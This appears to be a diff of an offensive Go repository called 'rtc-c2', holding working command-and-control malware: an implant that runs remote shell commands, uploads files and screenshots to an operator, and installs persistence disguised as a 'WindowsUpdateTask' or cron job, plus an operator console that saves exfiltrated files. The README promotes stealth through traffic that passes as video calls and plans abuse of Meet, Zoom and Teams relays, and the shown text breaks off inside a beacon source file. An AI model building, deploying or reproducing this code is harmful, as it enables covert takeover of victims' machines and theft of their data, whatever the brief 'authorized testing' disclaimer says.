||||||
|
golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
||||||
|
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||||
|
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
-----BEGIN NATS USER
|
||||||
|
|
||||||
|
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* IMPORTANT \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* NKEY Seed printed below can be used to sign and prove identity. NKEYs are sensitive and should be treated as secrets.
|
||||||
|
|
||||||
|
|
||||||
@@ -0,0 +1,246 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/aes"
|
||||||
|
"crypto/cipher"
|
||||||
|
"crypto/rand"
|
||||||
|
"encoding/base64"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/nats-io/nats.go"
|
||||||
|
"github.com/go-vgo/robotgo"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ------------------------- CONFIGURATION -------------------------
|
||||||
|
var natsServers = []string{
|
||||||
|
"nats://localhost:4222", // Change to your server IP
|
||||||
|
}
|
||||||
|
|
||||||
|
// AES key from generate_key.go
|
||||||
|
const b64Key = "rAEUBb5Id9HO3m3BZ+G5PSqBaceVJly4lbjbSSImz+c="
|
||||||
|
|
||||||
|
var aesKey []byte
|
||||||
|
var agentID string
|
||||||
|
const credsFile = "implant.creds"
|
||||||
|
|
||||||
|
// ------------------------- CRYPTO -------------------------
|
||||||
|
func encrypt(plaintext []byte) ([]byte, error) {
|
||||||
|
block, err := aes.NewCipher(aesKey)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
gcm, err := cipher.NewGCM(block)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
nonce := make([]byte, gcm.NonceSize())
|
||||||
|
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
|
||||||
|
return ciphertext, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func decrypt(ciphertext []byte) ([]byte, error) {
|
||||||
|
block, err := aes.NewCipher(aesKey)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
gcm, err := cipher.NewGCM(block)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
nonceSize := gcm.NonceSize()
|
||||||
|
if len(ciphertext) < nonceSize {
|
||||||
|
return nil, fmt.Errorf("ciphertext too short")
|
||||||
|
}
|
||||||
|
nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
|
||||||
|
return gcm.Open(nil, nonce, ciphertext, nil)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ------------------------- COMMAND EXECUTION -------------------------
|
||||||
|
func runCommand(cmdStr string) string {
|
||||||
|
var cmd *exec.Cmd
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
|
cmd = exec.Command("cmd", "/C", cmdStr)
|
||||||
|
} else {
|
||||||
|
cmd = exec.Command("/bin/sh", "-c", cmdStr)
|
||||||
|
}
|
||||||
|
out, err := cmd.CombinedOutput()
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))
|
||||||
|
}
|
||||||
|
return string(out)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ------------------------- FILE OPERATIONS -------------------------
|
||||||
|
func uploadFile(nc *nats.Conn, agentID, localPath string) {
|
||||||
|
data, err := os.ReadFile(localPath)
|
||||||
|
if err != nil {
|
||||||
|
publishResult(nc, agentID, fmt.Sprintf("Upload error: %v", err))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
encData, err := encrypt(data)
|
||||||
|
if err != nil {
|
||||||
|
publishResult(nc, agentID, fmt.Sprintf("Encryption error: %v", err))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
b64enc := base64.StdEncoding.EncodeToString(encData)
|
||||||
|
nc.Publish("c2."+agentID+".file_upload", []byte(b64enc))
|
||||||
|
publishResult(nc, agentID, fmt.Sprintf("Uploaded %s (%d bytes)", localPath, len(data)))
|
||||||
|
}
|
||||||
|
|
||||||
|
func downloadFile(nc *nats.Conn, agentID, remotePath, b64Content string) {
|
||||||
|
encData, err := base64.StdEncoding.DecodeString(b64Content)
|
||||||
|
if err != nil {
|
||||||
|
publishResult(nc, agentID, fmt.Sprintf("Base64 decode error: %v", err))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
data, err := decrypt(encData)
|
||||||
|
if err != nil {
|
||||||
|
publishResult(nc, agentID, fmt.Sprintf("Decryption error: %v", err))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(remotePath, data, 0644); err != nil {
|
||||||
|
publishResult(nc, agentID, fmt.Sprintf("Write error: %v", err))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
publishResult(nc, agentID, fmt.Sprintf("Downloaded to %s (%d bytes)", remotePath, len(data)))
|
||||||
|
}
|
||||||
|
|
||||||
|
// ------------------------- SCREENSHOT -------------------------
|
||||||
|
func takeScreenshot(nc *nats.Conn, agentID string) {
|
||||||
|
bitmap := robotgo.CaptureScreen()
|
||||||
|
defer bitmap.Free()
|
||||||
|
img := robotgo.ToImage(bitmap)
|
||||||
|
tmpFile := filepath.Join(os.TempDir(), "screenshot.png")
|
||||||
|
robotgo.Save(img, tmpFile)
|
||||||
|
uploadFile(nc, agentID, tmpFile)
|
||||||
|
os.Remove(tmpFile)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ------------------------- PERSISTENCE -------------------------
|
||||||
|
func installPersistence() {
|
||||||
|
exePath, _ := os.Executable()
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
|
cmd := exec.Command("schtasks", "/create", "/tn", "WindowsUpdateTask", "/tr", exePath, "/sc", "onlogon", "/f")
|
||||||
|
cmd.Run()
|
||||||
|
} else {
|
||||||
|
cmd := exec.Command("crontab", "-l")
|
||||||
|
out, _ := cmd.Output()
|
||||||
|
newCron := string(out) + "@reboot " + exePath + " >/dev/null 2>&1\n"
|
||||||
|
cmd2 := exec.Command("crontab", "-")
|
||||||
|
cmd2.Stdin = strings.NewReader(newCron)
|
||||||
|
cmd2.Run()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ------------------------- NATS COMMUNICATION -------------------------
|
||||||
|
func publishResult(nc *nats.Conn, agentID, msg string) {
|
||||||
|
encMsg, _ := encrypt([]byte(msg))
|
||||||
|
nc.Publish("c2."+agentID+".results", encMsg)
|
||||||
|
}
|
||||||
|
|
||||||
|
func heartbeat(nc *nats.Conn, agentID string) {
|
||||||
|
encHeart, _ := encrypt([]byte("online"))
|
||||||
|
nc.Publish("c2."+agentID+".heartbeat", encHeart)
|
||||||
|
}
|
||||||
|
|
||||||
|
func connectWithRetries() *nats.Conn {
|
||||||
|
for {
|
||||||
|
for _, url := range natsServers {
|
||||||
|
// Try JWT auth first if creds file exists
|
||||||
|
var nc *nats.Conn
|
||||||
|
var err error
|
||||||
|
|
||||||
|
if _, err := os.Stat(credsFile); err == nil {
|
||||||
|
nc, err = nats.Connect(url, nats.UserCredentials(credsFile), nats.Timeout(5*time.Second))
|
||||||
|
} else {
|
||||||
|
// Fall back to no auth for testing
|
||||||
|
nc, err = nats.Connect(url, nats.Timeout(5*time.Second))
|
||||||
|
}
|
||||||
|
|
||||||
|
if err == nil {
|
||||||
|
fmt.Println("Connected to", url)
|
||||||
|
return nc
|
||||||
|
}
|
||||||
|
fmt.Printf("Failed %s: %v\n", url, err)
|
||||||
|
}
|
||||||
|
fmt.Println("All servers failed, retrying in 10s...")
|
||||||
|
time.Sleep(10 * time.Second)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
var err error
|
||||||
|
aesKey, err = base64.StdEncoding.DecodeString(b64Key)
|
||||||
|
if err != nil {
|
||||||
|
panic(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
hostname, _ := os.Hostname()
|
||||||
|
agentID = fmt.Sprintf("%s-%d", hostname, os.Getpid())
|
||||||
|
|
||||||
|
fmt.Println("Agent starting with ID:", agentID)
|
||||||
|
|
||||||
|
nc := connectWithRetries()
|
||||||
|
defer nc.Drain()
|
||||||
|
|
||||||
|
// Subscribe to commands
|
||||||
|
subj := "c2." + agentID + ".tasks"
|
||||||
|
nc.Subscribe(subj, func(msg *nats.Msg) {
|
||||||
|
cmdBytes, err := decrypt(msg.Data)
|
||||||
|
if err != nil {
|
||||||
|
publishResult(nc, agentID, "Decryption failed")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
cmd := string(cmdBytes)
|
||||||
|
parts := strings.SplitN(cmd, " ", 2)
|
||||||
|
verb := parts[0]
|
||||||
|
arg := ""
|
||||||
|
if len(parts) > 1 {
|
||||||
|
arg = parts[1]
|
||||||
|
}
|
||||||
|
|
||||||
|
switch verb {
|
||||||
|
case "exit":
|
||||||
|
publishResult(nc, agentID, "Exiting")
|
||||||
|
nc.Drain()
|
||||||
|
os.Exit(0)
|
||||||
|
case "shell":
|
||||||
|
out := runCommand(arg)
|
||||||
|
publishResult(nc, agentID, out)
|
||||||
|
case "upload":
|
||||||
|
uploadFile(nc, agentID, arg)
|
||||||
|
case "download":
|
||||||
|
subparts := strings.SplitN(arg, " ", 2)
|
||||||
|
if len(subparts) == 2 {
|
||||||
|
downloadFile(nc, agentID, subparts[0], subparts[1])
|
||||||
|
} else {
|
||||||
|
publishResult(nc, agentID, "Usage: download <path> <base64data>")
|
||||||
|
}
|
||||||
|
case "persist":
|
||||||
|
installPersistence()
|
||||||
|
publishResult(nc, agentID, "Persistence installed")
|
||||||
|
case "screenshot":
|
||||||
|
takeScreenshot(nc, agentID)
|
||||||
|
default:
|
||||||
|
publishResult(nc, agentID, "Unknown command: "+verb)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
heartbeat(nc, agentID)
|
||||||
|
fmt.Println("Agent ready, waiting for commands...")
|
||||||
|
|
||||||
|
for {
|
||||||
|
time.Sleep(30 * time.Second)
|
||||||
|
heartbeat(nc, agentID)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,149 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"crypto/aes"
|
||||||
|
"crypto/cipher"
|
||||||
|
"crypto/rand"
|
||||||
|
"encoding/base64"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/nats-io/nats.go"
|
||||||
|
)
|
||||||
|
|
||||||
|
const b64Key = "rAEUBb5Id9HO3m3BZ+G5PSqBaceVJly4lbjbSSImz+c="
|
||||||
|
var aesKey []byte
|
||||||
|
var nc *nats.Conn
|
||||||
|
var natsURL = "nats://localhost:4222"
|
||||||
|
|
||||||
|
func encrypt(plaintext []byte) ([]byte, error) {
|
||||||
|
block, _ := aes.NewCipher(aesKey)
|
||||||
|
gcm, _ := cipher.NewGCM(block)
|
||||||
|
nonce := make([]byte, gcm.NonceSize())
|
||||||
|
io.ReadFull(rand.Reader, nonce)
|
||||||
|
return gcm.Seal(nonce, nonce, plaintext, nil), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func decrypt(ciphertext []byte) ([]byte, error) {
|
||||||
|
block, _ := aes.NewCipher(aesKey)
|
||||||
|
gcm, _ := cipher.NewGCM(block)
|
||||||
|
nonceSize := gcm.NonceSize()
|
||||||
|
nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
|
||||||
|
return gcm.Open(nil, nonce, ciphertext, nil)
|
||||||
|
}
|
||||||
|
|
||||||
|
func publishTask(agent, cmd string) {
|
||||||
|
encCmd, _ := encrypt([]byte(cmd))
|
||||||
|
nc.Publish("c2."+agent+".tasks", encCmd)
|
||||||
|
}
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
var err error
|
||||||
|
aesKey, _ = base64.StdEncoding.DecodeString(b64Key)
|
||||||
|
|
||||||
|
// Try JWT auth if creds exist
|
||||||
|
if _, err := os.Stat("implant.creds"); err == nil {
|
||||||
|
nc, err = nats.Connect(natsURL, nats.UserCredentials("implant.creds"))
|
||||||
|
} else {
|
||||||
|
nc, err = nats.Connect(natsURL)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
panic(err)
|
||||||
|
}
|
||||||
|
defer nc.Drain()
|
||||||
|
|
||||||
|
heartbeats := make(map[string]time.Time)
|
||||||
|
|
||||||
|
nc.Subscribe("c2.*.heartbeat", func(m *nats.Msg) {
|
||||||
|
dec, err := decrypt(m.Data)
|
||||||
|
if err == nil && string(dec) == "online" {
|
||||||
|
agent := strings.Split(m.Subject, ".")[1]
|
||||||
|
heartbeats[agent] = time.Now()
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
nc.Subscribe("c2.*.results", func(m *nats.Msg) {
|
||||||
|
dec, _ := decrypt(m.Data)
|
||||||
|
agent := strings.Split(m.Subject, ".")[1]
|
||||||
|
fmt.Printf("\n[+] Result from %s:\n%s\n> ", agent, string(dec))
|
||||||
|
})
|
||||||
|
|
||||||
|
nc.Subscribe("c2.*.file_upload", func(m *nats.Msg) {
|
||||||
|
b64data := string(m.Data)
|
||||||
|
encData, _ := base64.StdEncoding.DecodeString(b64data)
|
||||||
|
decData, _ := decrypt(encData)
|
||||||
|
agent := strings.Split(m.Subject, ".")[1]
|
||||||
|
filename := fmt.Sprintf("exfil_%s_%d.bin", agent, time.Now().Unix())
|
||||||
|
os.WriteFile(filename, decData, 0644)
|
||||||
|
fmt.Printf("\n[!] File saved: %s\n> ", filename)
|
||||||
|
})
|
||||||
|
|
||||||
|
fmt.Println("[*] NATS C2 Operator Ready")
|
||||||
|
fmt.Println("Commands: list, <agent> shell <cmd>, <agent> upload <local_file>, <agent> persist, <agent> screenshot, exit")
|
||||||
|
|
||||||
|
scanner := bufio.NewScanner(os.Stdin)
|
||||||
|
for {
|
||||||
|
fmt.Print("> ")
|
||||||
|
if !scanner.Scan() {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
line := scanner.Text()
|
||||||
|
parts := strings.Fields(line)
|
||||||
|
if len(parts) == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
switch parts[0] {
|
||||||
|
case "exit":
|
||||||
|
return
|
||||||
|
case "list":
|
||||||
|
fmt.Println("Active agents:")
|
||||||
|
for agent, ts := range heartbeats {
|
||||||
|
if time.Since(ts) < 90*time.Second {
|
||||||
|
fmt.Println(" -", agent)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
if len(parts) < 2 {
|
||||||
|
fmt.Println("Usage: <agent> <command> [args]")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
agent := parts[0]
|
||||||
|
cmd := parts[1]
|
||||||
|
args := strings.Join(parts[2:], " ")
|
||||||
|
|
||||||
|
switch cmd {
|
||||||
|
case "shell":
|
||||||
|
if args == "" {
|
||||||
|
fmt.Println("Usage: shell <command>")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
publishTask(agent, "shell "+args)
|
||||||
|
case "upload":
|
||||||
|
if args == "" {
|
||||||
|
fmt.Println("Usage: upload <local_file>")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
data, err := os.ReadFile(args)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println("Error reading file:", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
encData, _ := encrypt(data)
|
||||||
|
b64enc := base64.StdEncoding.EncodeToString(encData)
|
||||||
|
publishTask(agent, fmt.Sprintf("download %s %s", args, b64enc))
|
||||||
|
case "persist":
|
||||||
|
publishTask(agent, "persist")
|
||||||
|
case "screenshot":
|
||||||
|
publishTask(agent, "screenshot")
|
||||||
|
default:
|
||||||
|
fmt.Println("Unknown command")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
listen: 4222
|
||||||
|
|
||||||
|
# Point to your operator JWT
|
||||||
|
|
||||||
|
operator:
|
||||||
|
|
||||||
|
# Use memory resolver for testing (or URL for production)
|
||||||
|
|
||||||
|
resolver: MEMORY
|
||||||
|
|
||||||
|
# Enable debug logging
|
||||||
|
|
||||||
|
debug: true trace: true
|
||||||
|
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2026 ek0ms savi0r
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
.PHONY: all clean build build-linux build-windows test run-operator run-beacon deps
|
||||||
|
|
||||||
|
# Default
|
||||||
|
all: build
|
||||||
|
|
||||||
|
# Build all targets
|
||||||
|
build: build-linux build-windows
|
||||||
|
|
||||||
|
build-linux:
|
||||||
|
@echo "Building Linux binaries..."
|
||||||
|
GOOS=linux GOARCH=amd64 go build -o bin/beacon ./cmd/beacon/
|
||||||
|
GOOS=linux GOARCH=amd64 go build -o bin/operator ./cmd/operator/
|
||||||
|
|
||||||
|
build-windows:
|
||||||
|
@echo "Building Windows binaries..."
|
||||||
|
GOOS=windows GOARCH=amd64 go build -o bin/beacon.exe ./cmd/beacon/
|
||||||
|
GOOS=windows GOARCH=amd64 go build -o bin/operator.exe ./cmd/operator/
|
||||||
|
|
||||||
|
# Cross-compile
|
||||||
|
build-arm64:
|
||||||
|
GOOS=linux GOARCH=arm64 go build -o bin/beacon-arm64 ./cmd/beacon/
|
||||||
|
GOOS=linux GOARCH=arm64 go build -o bin/operator-arm64 ./cmd/operator/
|
||||||
|
|
||||||
|
build-darwin:
|
||||||
|
GOOS=darwin GOARCH=amd64 go build -o bin/beacon-darwin ./cmd/beacon/
|
||||||
|
GOOS=darwin GOARCH=amd64 go build -o bin/operator-darwin ./cmd/operator/
|
||||||
|
|
||||||
|
# Quick dev test
|
||||||
|
test:
|
||||||
|
@echo "Running tests..."
|
||||||
|
go test ./...
|
||||||
|
|
||||||
|
# Run in two terminals
|
||||||
|
run-operator:
|
||||||
|
./bin/operator -sig-addr :9090 -session rtc-c2-test
|
||||||
|
|
||||||
|
run-beacon:
|
||||||
|
./bin/beacon -signaller http://127.0.0.1:9090 -session rtc-c2-test
|
||||||
|
|
||||||
|
# Clean artifacts
|
||||||
|
clean:
|
||||||
|
rm -rf bin/
|
||||||
|
|
||||||
|
# Dependencies
|
||||||
|
deps:
|
||||||
|
go mod tidy
|
||||||
|
go mod verify
|
||||||
@@ -0,0 +1,226 @@
|
|||||||
|
# rtc-c2
|
||||||
|
|
||||||
|
work in progress...check back for updates xo....
|
||||||
|
|
||||||
|
**WebRTC-based Command & Control framework.** Direct TCP forward over encrypted WebRTC data channels — like SSH `-L` style port forwarding, but nested inside DTLS tunnels.
|
||||||
|
|
||||||
|
```text
|
||||||
|
┌─────────────────┐ ┌──────────────────────┐ ┌──────────────────┐
|
||||||
|
│ Operator │ │ TURN/STUN Relay │ │ Beacon │
|
||||||
|
│ (C2 Server) │───▶│ (Provider Infra) │◀───│ (Implant) │
|
||||||
|
│ │ │ ── DTLS tunnel ──▶ │ │ │
|
||||||
|
│ - Direct fwd │ │ Encrypted WebRTC │ │ - Task executor │
|
||||||
|
│ - Task disptch │ │ data channel │ │ - Tunnel fwd │
|
||||||
|
│ - Console │ │ Indistinguishable │ │ - Persistence │
|
||||||
|
│ - WS signaller │ │ from video calls │ │ │
|
||||||
|
└─────────────────┘ └──────────────────────┘ └──────────────────┘
|
||||||
|
```
|
||||||
|
# Disclaimer: For authorized security testing or educational purposes only.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Features
|
||||||
|
|
||||||
|
| Component | Means |
|
||||||
|
|-----------|-------|
|
||||||
|
| Transport | Pion WebRTC + Google STUN |
|
||||||
|
| Signaller | HTTP or **WebSocket** rendezvous (WS = stealthier) |
|
||||||
|
| Tunnel | **Direct TCP forward** over WebRTC |
|
||||||
|
| Protocol | JSON envelope over DTLS |
|
||||||
|
|
||||||
|
### Ghost Calls (Roadmap)
|
||||||
|
|
||||||
|
| Component | Means |
|
||||||
|
|-----------|-------|
|
||||||
|
| Transport | Provider TURN (Zoom/Google/Teams) |
|
||||||
|
| Signaller | Meeting invitation protocol |
|
||||||
|
| Tunnel | Direct TCP over provider media relay |
|
||||||
|
| Auth | Meeting join credentials (ephemeral) |
|
||||||
|
| Infra | **Zero** — no VPS, no domains, no certs |
|
||||||
|
|
||||||
|
## Requirements
|
||||||
|
|
||||||
|
- Go 1.21+
|
||||||
|
|
||||||
|
## Build
|
||||||
|
|
||||||
|
```bash
|
||||||
|
git clone https://github.com/h0mi3e/rtc-c2
|
||||||
|
cd rtc-c2
|
||||||
|
make build
|
||||||
|
```
|
||||||
|
|
||||||
|
Windows/Linux/macOS binaries in `bin/`.
|
||||||
|
|
||||||
|
## Quick Start
|
||||||
|
|
||||||
|
**Terminal 1 — Operator:**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./bin/operator -sig-addr :9090 -session my-session
|
||||||
|
```
|
||||||
|
|
||||||
|
**Terminal 2 — Beacon:**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./bin/beacon -signaller http://127.0.0.1:9090 -session my-session
|
||||||
|
```
|
||||||
|
|
||||||
|
Once a beacon connects:
|
||||||
|
|
||||||
|
```
|
||||||
|
=== rtc-c2 Operator Console ===
|
||||||
|
|
||||||
|
> beacons
|
||||||
|
Connected beacons (1):
|
||||||
|
------------------------------------------------------------
|
||||||
|
Beacon ID User@Host OS Arch
|
||||||
|
------------------------------------------------------------
|
||||||
|
hostname-1234... user@host linux amd64
|
||||||
|
|
||||||
|
> use hostname-1234
|
||||||
|
[+] Using beacon abc123def456 (user@host)
|
||||||
|
|
||||||
|
> exec whoami
|
||||||
|
[*] Task sent
|
||||||
|
|
||||||
|
> exec uname -a
|
||||||
|
|
||||||
|
> info
|
||||||
|
|
||||||
|
> back
|
||||||
|
```
|
||||||
|
|
||||||
|
## Direct TCP Forward
|
||||||
|
|
||||||
|
Use the `forward` command for **direct TCP forwarding** through the beacon:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# In operator console:
|
||||||
|
> forward 127.0.0.1:4444 10.0.1.100:80
|
||||||
|
[+] Forward: 127.0.0.1:4444 -> 10.0.1.100:80 (via active beacon)
|
||||||
|
|
||||||
|
> forwards
|
||||||
|
Active forwards:
|
||||||
|
127.0.0.1:4444 -> 10.0.1.100:80 (via beacon)
|
||||||
|
```
|
||||||
|
|
||||||
|
Then in another terminal:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Point your browser/tool at localhost:4444
|
||||||
|
curl http://127.0.0.1:4444/resource
|
||||||
|
|
||||||
|
# Or use --resolve for clean hostnames
|
||||||
|
curl http://internal.corp/resource --resolve internal.corp:80:127.0.0.1
|
||||||
|
```
|
||||||
|
|
||||||
|
Manage forwards:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
> forwards # list active forwards
|
||||||
|
> stop-forward :4444 # stop a forward
|
||||||
|
```
|
||||||
|
|
||||||
|
What's happening:
|
||||||
|
1. Operator listens on `127.0.0.1:4444`
|
||||||
|
2. Raw TCP data gets wrapped in WebRTC messages → sent to beacon
|
||||||
|
3. Beacon connects to `10.0.1.100:80` and bridges the connection
|
||||||
|
|
||||||
|
## WebSocket Signaller
|
||||||
|
|
||||||
|
For stealthier SDP exchange, use WebSocket instead of HTTP polling:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Operator
|
||||||
|
./bin/operator -sig-addr :9090 -session stealth -ws
|
||||||
|
|
||||||
|
# Beacon
|
||||||
|
./bin/beacon -signaller http://127.0.0.1:9090 -session stealth -ws
|
||||||
|
```
|
||||||
|
|
||||||
|
WebSocket signaller keeps a persistent connection — looks like a normal web app data feed instead of HTTP polling. Harder to detect as C2 traffic.
|
||||||
|
|
||||||
|
## Commands
|
||||||
|
|
||||||
|
### Operator Console
|
||||||
|
|
||||||
|
| Command | Description |
|
||||||
|
|---------|-------------|
|
||||||
|
| `beacons` | List connected beacons |
|
||||||
|
| `use <id>` | Open interactive session with beacon |
|
||||||
|
| `forward <local> <remote>` | Direct TCP forward (SSH -L style) |
|
||||||
|
| `forwards` | List active forwards |
|
||||||
|
| `stop-forward <local>` | Stop a forward listener |
|
||||||
|
| `help` | Show help |
|
||||||
|
| `exit` | Shut down |
|
||||||
|
|
||||||
|
### Beacon Session
|
||||||
|
|
||||||
|
| Command | Description |
|
||||||
|
|---------|-------------|
|
||||||
|
| `exec <cmd>` | Run command on beacon |
|
||||||
|
| `info` | Get system info |
|
||||||
|
| `whoami` | Get user identity |
|
||||||
|
| `download <path>` | Download file from beacon |
|
||||||
|
| `back` | Return to main menu |
|
||||||
|
|
||||||
|
## Project Structure
|
||||||
|
|
||||||
|
```
|
||||||
|
rtc-c2/
|
||||||
|
├── cmd/
|
||||||
|
│ ├── operator/ # C2 server binary
|
||||||
|
│ │ └── main.go
|
||||||
|
│ └── beacon/ # Implant binary
|
||||||
|
│ ├── main.go
|
||||||
|
│ └── util.go
|
||||||
|
├── pkg/
|
||||||
|
│ ├── transport/ # WebRTC peer connection
|
||||||
|
│ │ ├── config.go
|
||||||
|
│ │ └── peer.go
|
||||||
|
│ ├── signaller/ # SDP exchange (HTTP + WebSocket)
|
||||||
|
│ │ ├── signaller.go
|
||||||
|
│ │ └── websocket.go
|
||||||
|
│ ├── protocol/ # C2 message protocol
|
||||||
|
│ │ ├── message.go
|
||||||
|
│ │ └── task.go
|
||||||
|
│ └── tunnel/ # Direct TCP forward over WebRTC
|
||||||
|
│ ├── listener.go # Operator-side forward listener
|
||||||
|
│ └── forward.go # Beacon-side connection forwarder
|
||||||
|
├── bin/ # Build output
|
||||||
|
├── Makefile
|
||||||
|
├── go.mod / go.sum
|
||||||
|
└── README.md
|
||||||
|
```
|
||||||
|
|
||||||
|
## Ghost Calls Roadmap
|
||||||
|
|
||||||
|
The long game is zero-infrastructure C2 by piggybacking on provider WebRTC infra:
|
||||||
|
|
||||||
|
- **Google Meet:** Create meeting via API → beacon joins → Google's TURN relays issued → everything runs through Google's infrastructure
|
||||||
|
- **Jitsi Meet:** Self-hosted WebRTC — free, open, full control
|
||||||
|
- **Zoom:** Reverse-engineer proprietary WebRTC auth flow
|
||||||
|
- **Teams:** SAML/OAuth token → TURN relay auth
|
||||||
|
|
||||||
|
| Phase | What | Infra Needed |
|
||||||
|
|-------|------|-------------|
|
||||||
|
| 1 | Dev mode (HTTP/WS signaller) | LAN or same VPC |
|
||||||
|
| 2 | Self-hosted TURN (coturn) | VPS with UDP open |
|
||||||
|
| 3 | Jitsi Meet integration | Jitsi server or meet.jit.si |
|
||||||
|
| 4 | Google Meet integration | None — just a Gmail bot |
|
||||||
|
| 5 | Zoom + Teams | None — join existing infra |
|
||||||
|
|
||||||
|
## Adding New Task Types
|
||||||
|
|
||||||
|
1. Add a `TaskType` constant in `pkg/protocol/task.go`
|
||||||
|
2. Add args struct if needed
|
||||||
|
3. Add handler case in `beacon/main.go`'s `executeTask()`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
Built by **ek0ms** — Church of Malware
|
||||||
|
|
||||||
|
## DISCLAIMER
|
||||||
|
|
||||||
|
For authorized Security Testing or Educational Purposes only.
|
||||||
@@ -0,0 +1,285 @@
|
|||||||
|
// Command beacon is the implant that runs on the target system.
|
||||||
|
// It establishes a WebRTC connection to the operator, registers itself,
|
||||||
|
// and executes tasks received over the data channel.
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"flag"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"os/signal"
|
||||||
|
"runtime"
|
||||||
|
